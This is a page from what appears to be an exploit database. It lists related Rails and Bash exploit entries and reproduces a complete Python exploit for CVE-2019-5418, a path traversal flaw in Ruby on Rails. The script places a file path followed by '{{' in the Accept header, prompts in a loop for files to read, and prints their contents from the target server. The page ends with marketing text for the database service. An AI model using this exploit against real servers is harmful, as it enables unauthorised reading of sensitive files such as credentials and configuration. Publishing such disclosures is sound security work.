| Reporter | Title | Published | Views | Family All 174 |
|---|---|---|---|---|
| Rails 5.2.1 - Arbitrary File Content Disclosure Exploit | 24 Mar 201900:00 | – | zdt | |
| Rails -- Action View vulnerabilities | 13 Mar 201900:00 | – | freebsd | |
| Exploit for Path Traversal in Rubyonrails Rails | 4 Oct 201919:28 | – | githubexploit | |
| Exploit for Path Traversal in Rubyonrails Rails | 19 Mar 201915:38 | – | githubexploit | |
| Exploit for Path Traversal in Rubyonrails Rails | 18 Mar 201916:09 | – | githubexploit | |
| Exploit for Path Traversal in Rubyonrails Rails | 1 Apr 201917:02 | – | githubexploit | |
| Exploit for Path Traversal in Rubyonrails Rails | 19 Nov 201909:40 | – | githubexploit | |
| Exploit for Path Traversal in Rubyonrails Rails | 16 Mar 201911:58 | – | githubexploit | |
| Exploit for Path Traversal in Rubyonrails Rails | 23 Mar 201902:52 | – | githubexploit | |
| Exploit for OS Command Injection in Gnu Bash | 2 Jan 201700:52 | – | githubexploit |
'''
Exploit Title: File Content Disclosure on Rails
Date: CVE disclosed 3/16 today's date is 3/20
Exploit Author: NotoriousRebel
Vendor Homepage: https://rubyonrails.org/
Software Link: https://github.com/rails/rails
Version: Versions Affected: all Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1
Tested on: Rails 5.2.1 (Using ubuntu on linux subsystem for Windows)
CVE: 2019-5418
'''
import sys
try:
import requests
except ImportError:
print('\n\033[93m[!] Requests library not found, please install before proceeding.\n\n \033[0m')
sys.exit(1)
def banner():
banner = """
----------------------------------------------
Arbitrary Traversal exploit for Ruby on Rails
CVE-2019-5418
----------------------------------------------
"""
print(banner)
def check_args():
if len(sys.argv) != 2:
print("Invalid number of arguments entered!")
how_to_use = "python3 Bandit.py url"
print('Use as:', how_to_use)
sys.exit(1)
def check_url(url):
status_code = requests.get(url)
if status_code != 200:
print("Url is invalid or can not be reached!")
sys.exit(1)
def read_file(url, file):
headers = {'Accept': file + '{{'}
req = requests.get(url, headers=headers)
return req
def main():
banner()
check_args()
url = sys.argv[1]
while True:
try:
file = input("Enter file to read (enter quit to exit): ")
except Exception:
file = raw_input("Enter file to read (enter quit to exit): ")
try:
if file.lower() == 'quit':
break
except Exception:
if file == 'quit':
break
response = read_file(url, file)
print(response.text)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('\n\n\033[93m[!] ctrl+c detected from user, quitting.\n\n \033[0m')Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation